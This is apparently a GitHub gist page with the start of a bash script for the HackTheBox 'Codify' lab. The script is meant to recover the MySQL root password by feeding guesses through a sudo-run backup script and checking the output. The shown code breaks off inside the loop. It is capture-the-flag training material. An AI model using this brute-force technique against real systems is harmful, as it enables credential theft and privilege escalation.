Skip to content

Instantly share code, notes, and snippets.

View m3m0o's full-sized avatar
💻
Coding!

Guilherme Violin m3m0o

💻
Coding!
View GitHub Profile
@m3m0o
m3m0o / get_db_password.sh
Last active December 27, 2023 23:46
HackTheBox Codify - Script to get mysql root password
password=""
while true; do
password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)
if [ $password_check -gt 2 ]
then
echo "$password"
break
fi